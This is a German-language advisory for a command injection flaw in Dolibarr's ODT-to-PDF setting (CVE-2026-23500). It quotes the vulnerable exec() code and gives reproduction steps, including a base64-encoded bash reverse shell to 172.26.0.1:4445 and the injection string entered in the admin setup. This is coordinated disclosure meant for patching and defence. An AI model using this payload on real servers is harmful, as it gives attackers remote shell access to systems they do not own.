
CVE-2026-23500 - OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration in Dolibarr
| Feld | Details |
|---|---|
| CVE ID | CVE-2026-23500 |
| Schweregrad | KRITISCH |
| Sicherheitshinweis | GHSA-w5j3-8fcr-h87w |
| Entdeckt von | Lukasz Rybak |
Ein authentifizierter Administrator kann beliebige Betriebssystembefehle ausführen, indem er eine schädliche Nutzlast in die Konfigurationskonstante MAIN_ODT_AS_PDF einschleust. Diese Sicherheitslücke besteht, weil die Anwendung den Befehlspfad nicht ordnungsgemäß validiert oder maskiert, bevor sie ihn an die exec()-Funktion im ODT-zu-PDF-Konvertierungsprozess übergibt.
Die Schwachstelle befindet sich in htdocs/includes/odtphp/odf.php.
Wenn das System versucht, ein ODT-Dokument in PDF zu konvertieren (z. B. in Vorschlägen, Rechnungen), erstellt es einen Shell-Befehl unter Verwendung der globalen Einstellung MAIN_ODT_AS_PDF.
Codeausschnitt (htdocs/includes/odtphp/odf.php, ca. Zeile 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Während der Dateiname $name mithilfe von escapeshellcmd() bereinigt wird, wird die Konfigurationsvariable MAIN_ODT_AS_PDF direkt aus der Datenbank abgerufen und am Anfang der Zeichenkette angehängt. Ein Angreifer mit Administratorrechten kann diese Variable so setzen, dass sie einen Befehlsseparator (wie ;) gefolgt von beliebigen Befehlen enthält.
Voraussetzungen:
Schritte zur Reproduktion (Reverse Shell):
172.26.0.1, Port: 4445):nc -lvnp 4445
Bereiten Sie die Nutzlast vor. Um Probleme mit Sonderzeichen (wie & oder >) zu vermeiden, die von der Webanwendung oder Shell maskiert werden könnten, kodieren Sie den Reverse-Shell-Befehl in Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Navigieren Sie zu Home -> Setup -> Other Setup.
Fügen Sie die Konstante MAIN_ODT_AS_PDF hinzu oder ändern Sie sie mit der folgenden Injektionsnutzlast:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Erklärung: jodconverter erfüllt die erste Prüfung, ; fungiert als Befehlsseparator und die Pipeline dekodiert und führt die Base64-Nutzlast aus).
Navigieren Sie zu Commerce -> New proposal, erstellen Sie einen Entwurf, wählen Sie eine ODT-Vorlage (z. B. generic_proposal_odt), und klicken Sie auf .
Remote Code Execution (RCE).
Ein Angreifer, der Zugriff auf ein Administratorkonto erhält (oder ein böswilliger Administrator), kann beliebige Befehle auf dem zugrunde liegenden Server mit den Rechten des Webserver-Benutzers (normalerweise www-data) ausführen. Dies ermöglicht:
Gemeldet von Łukasz Rybak
Diese CVE wurde verantwortungsvoll gemäß den Praktiken der koordinierten Offenlegung von Sicherheitslücken offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich zu Bildungs- und Verteidigungszwecken.
